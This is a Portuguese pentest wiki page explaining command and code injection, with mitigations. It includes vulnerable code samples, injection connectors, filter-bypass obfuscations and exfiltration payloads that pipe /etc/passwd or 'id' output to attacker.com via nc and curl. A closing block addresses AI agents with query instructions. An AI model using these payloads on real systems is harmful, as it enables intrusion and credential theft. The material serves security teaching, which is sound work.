# Command or Code Injection

## **🔍 Fundamentos e Diferenças**

Embora frequentemente confundidos, o **Command Injection** e o **Code Injection** possuem naturezas distintas:

| Tipo                  | O que é injetado?                                    | Escopo da Execução                                                     |
| --------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------- |
| **Command Injection** | Comandos do Sistema Operacional (Shell)              | O atacante executa comandos do SO através da aplicação.                |
| **Code Injection**    | Código da linguagem de programação (PHP, Python, JS) | O atacante injeta código que é interpretado pela runtime da aplicação. |

### **Por que ocorre?**

Ambos ocorrem quando a aplicação recebe dados do usuário e os concatena diretamente em funções que executam comandos ou avaliam código, sem a devida sanitização ou uso de APIs seguras.

## **🐚 Command Injection (OS Injection)**

Ocorre quando uma aplicação passa dados inseguros para uma shell do sistema (como `/bin/sh` no Linux ou `cmd.exe` no Windows).

### **Cenário Comum (PHP)**

```php
// Vulnerável: executa 'ping' com entrada direta do usuário
$target = $_GET['ip'];
system("ping -c 4 " . $target);
```

### **Principais Conectores de Comando**

Para injetar comandos adicionais, atacantes usam operadores de shell:

| Conector      | Função                              | Exemplo de Injeção             |
| ------------- | ----------------------------------- | ------------------------------ |
| `;`           | Executa sequencialmente (Unix)      | `127.0.0.1; whoami`            |
| `&`           | Executa em segundo plano            | `127.0.0.1 & netstat`          |
| `&&`          | Executa se o primeiro tiver sucesso | `127.0.0.1 && id`              |
| `\|`          | Redireciona a saída (Pipe)          | `127.0.0.1 \| cat /etc/passwd` |
| `\|\|`        | Executa se o primeiro falhar        | \`maldito                      |
| `\n` (0x0a)   | Nova linha (Unix)                   | `%0a id`                       |
| `&` (Windows) | Executa múltiplos comandos          | `127.0.0.1 & ipconfig`         |

## **💻 Code Injection (Language Injection)**

Ocorre quando o input é injetado dentro de funções que interpretam código dinamicamente (`eval()`, `exec()`, `include()`).

### **Exemplos por Linguagem**

#### **PHP (eval)**

```php
// Input: system('id');
eval($_GET['code']); 
```

#### **Python (exec/eval)**

```python
# Input: __import__('os').system('id')
eval(input_do_usuario)
```

#### **Node.js (eval)**

```javascript
// Input: require('child_process').execSync('id')
eval(req.query.cmd);
```

## **🔧 Técnicas de Exploração Avançada**

{% stepper %}
{% step %}

### **Blind Command Injection**

Muitas vezes a aplicação não retorna a saída do comando na tela. Nestes casos, usamos técnicas cegas:

* **Time-based:** Verificar se o comando causou um atraso na resposta.
  * Payload: `127.0.0.1; sleep 10`
* **Out-of-Band (OOB):** Forçar a aplicação a fazer uma requisição externa.
  * Payload: `127.0.0.1; curl http://collab-id.oastree.com`
  * Payload:

    ```
    127.0.0.1; nslookup `whoami`.atacker.com
    ```

{% endstep %}

{% step %}

### **Data Exfiltration**

Se você tem execução mas não vê o output:

* `cat /etc/passwd | base64 | nc attacker.com 1234`
* `curl -d "$(id)" http://attacker.com/log`
  {% endstep %}
  {% endstepper %}

## **🛡️ Bypass de Filtros e WAF**

Atacantes usam diversas técnicas para contornar filtros que buscam por palavras como `cat`, `ls` ou espaços.

### **Bypass de Espaço**

* **Linux:** `${IFS}`, `$IFS$9`, `%09` (tab), `{cat,/etc/passwd}`
* **Windows:** `%ProgramFiles:~10,1%`

### **Bypass de Palavras-Chave (Obfuscação)**

* **Variáveis Vazias:** `c''at /et""c/pas\swd`
* **Wildcards:** `/bin/ca? /etc/pas*`
* **Base64:** `echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh`
* **Reverse:** `$(echo 'id' | rev | sh)` -> `$(echo 'di' | rev)`

## **🔍 Detecção e Ferramentas**

{% stepper %}
{% step %}

### **Detecção Manual**

Foque em parâmetros que parecem interagir com o sistema:

* Endpoints de rede (ping, nslookup).
* Processamento de arquivos (conversores de imagem, PDF).
* Execução de scripts customizados.
  {% endstep %}

{% step %}

### **Ferramentas**

* **Commix:** O "sqlmap" para command injection. Automatiza a detecção e exploração.

  ```bash
  commix -u "http://alvo.com/ping.php?ip=127.0.0.1"
  ```
* **Burp Suite (Collaborator):** Essencial para detectar injeções cegas (OOB).
* **PayloadsAllTheThings:** Repositório de referência para payloads de injeção.
  {% endstep %}
  {% endstepper %}

## **🛡️ Mitigação e Prevenção**

{% stepper %}
{% step %}

### **Evite funções perigosas**

Nunca use `system()`, `exec()`, `eval()`, `passthru()` com input direto do usuário.
{% endstep %}

{% step %}

### **Use APIs Seguras**

Em vez de concatenar strings em uma shell, use funções que tratam argumentos separadamente:

```python
# SEGURO (Python)
import subprocess
subprocess.run(["ls", "-l", diretorio_usuario]) # Não invoca shell por padrão
```

{% endstep %}

{% step %}

### **Input Validation (Allow-list)**

Se o usuário deve escolher um comando, use uma lista fixa:

```php
$allowed_cmds = ['status', 'check', 'list'];
if (in_array($input, $allowed_cmds)) {
    system("/usr/bin/tool " . $input);
}
```

{% endstep %}

{% step %}

### **Escaping Dinâmico**

Se for inevitável usar a shell:

* **PHP:** `escapeshellarg()` ou `escapeshellcmd()`.
* **Python:** `shlex.quote()`.
  {% endstep %}
  {% endstepper %}

> Falhas de injeção são críticas porque dão ao atacante o controle direto sobre o servidor. Em um ambiente de nuvem, isso pode levar ao roubo de metadados da instância (IAM Roles) e comprometer toda a infraestrutura.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/apis/command-or-code-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.